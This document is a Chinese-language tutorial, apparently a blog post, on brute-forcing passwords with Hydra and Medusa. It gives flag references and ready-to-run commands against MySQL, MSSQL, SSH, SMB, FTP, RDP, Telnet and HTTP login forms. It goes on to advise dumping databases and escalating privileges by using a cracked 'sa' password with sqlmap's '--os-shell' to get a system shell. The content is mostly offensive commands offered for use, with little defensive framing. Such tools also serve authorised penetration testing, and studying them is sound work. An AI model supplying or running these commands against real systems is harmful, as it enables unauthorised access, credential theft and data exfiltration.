每日一句:
竹批双耳峻,风入四蹄轻。 ——杜甫《房兵曹胡马诗》
本文内容:
hydra简介
hydra安装配置
hydra破解
美杜莎- Medusa
目标:使用hydra暴力破解密码
一、hydra简介
1,定义
Hydra对应的英文意思是九头蛇,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,
包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。
hydra支持的服务有:POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQL……
最大的安全漏洞之一是弱口令。 hydra都可以很有针对性的攻击
二、hydra安装配置
1,Kali是安全从业人员常用的Linux系统,自带有大量安全工具集,Hydra自然也集成在里面,工具位置在密码攻击—在线攻击一栏。
2,开源项目:https://github.com/vanhauser-thc/thc-hydra
3,Windows中Hydra安装
Hydra官方不支持Windows版,
需要在GitHub上下载,地址为:https://github.com/maaaaz/thc-hydra-windows 下载之后解压缩即可。
三、hydra破解
1,Hydra相关参数
-l LOGIN 指定破解的用户名称,对特定用户破解。
-L FILE 从文件中加载用户名进行破解。
-p PASS小写p指定密码破解,少用,一般是采用密码字典。
-P FILE 大写字母P,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-t TASKS 同时运行的连接的线程数,每一台主机默认为16。
-M FILE 指定服务器目标列表文件一行一条
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-v / -V 显示详细过程。
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-U 服务模块使用细节
-h 更多的命令行选项(完整的帮助)
server 目标服务器名称或者IP(使用这个或-M选项)
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT 一些服务模块支持额外的输入(-U用于模块的帮助)
2,Hydra用法案例
~打开方式:
~图形化界面:xhydra
~命令行打开:hydra
推荐用命令行直接搞
~破解MySQL密码
扩展:
数据库一般会提供一个默认的帐户,SQL Server的sa用户,MySQL的root用户,Oracle的System用户等。
场景:假如我们现在破解mysql数据库
步骤:
~hadry -L user.txt -P pass.txt ip mysql
~hydra -L user.txt -P pass.txt mysql://目标IP:mysql端口号
场景:如果需要将爆破的过程打印出来就加个指令-v
实例:hydra -L username.txt -P password.txt -v mysql://目标IP:mysql端口号
说明: 成功后会打印类似如下的信息: [1433][mssql] host:ip login:sa password:sqladmin
问:得到mysql的密码后一般都干什么?
~脱库
~提权
如果破解数据库的密码为sqladmin,可以利用sqlmap进一步来反弹一个与系统交互的Shell用来提权。命令为:
sqlmap.py -d "mssql://sa:sqladmin@ip:1433/master" --os-shell
~破解ssh
hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -P 密码字典 -t 线程 -o save.log -vV ip ssh
命令详细:
攻击目标:192.168.1.113
使用的模块:ssh
爆破用户名:root(-l)
使用的密码字典:/root/passwd.txt (-P)
爆破线程数:6 (-t)
显示详细信息 (-V)
爆破成功一个后停止 (-f)
~windows密码破解
hydra -l 用户名 -p 密码 smb://ip -vV<br>或者<br>hydra -l 用户名 -p 密码 smb ip –vV
~破解ftp
hydra ip ftp -l 用户名 -P 密码字典 -t 线程数(默认16) –vV
如果你发现目标ftp并不是在21端口,而是在其他端口上,可以使用-s参数指定正确的端口,其他服务同样如此。
~破解rdp
hydra ip rdp -l administrator -P pass.txt –V
===若是不可以用,记得更新一下hydra
~破解telnet
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f –V
~破解https
hydra -m /index.php -l muts -P pass.txt ip https
~get方式提交 破解web登录
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /web/
~post方式提交 破解web登录
hydra -l 用户名 -P 密码字典 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" -V
注意:但是表单爆破推荐burp,hydra太过鸡肋
四、美杜莎- Medusa
hydra的缺点
-稳定性差,程序时常崩溃
-速度控制不好,容易触发服务器屏蔽或锁死机制
-每主机新建进程,没服务新建实例
-大量目标破解时性能差
medusa的特点
-稳定性好
-速度控制得当
-基于线程
-支持模块少于hydra(不支持rdp 远程桌面)
-WEB-Form支持存在缺陷
参数:
-h [TEXT] 目标IP 注意!!!不是帮助
-H [FILE] 目标主机文件
-u [TEXT] 用户名
-U [FILE] 用户名文件
-p [TEXT] 密码
-P [FILE] 密码文件
-C [FILE] 组合条目文件
-O [FILE] 文件日志信息
-e [n/s/ns] N意为空密码,S意为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次
使用语法:
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
破解MSSQL
medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
破解SSH
medusa -M ssh -H host.txt -U user.txt -p password
输出为日志文件,使用-O参数
medusa -h ip -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt
说明: hydra与medusakali均自带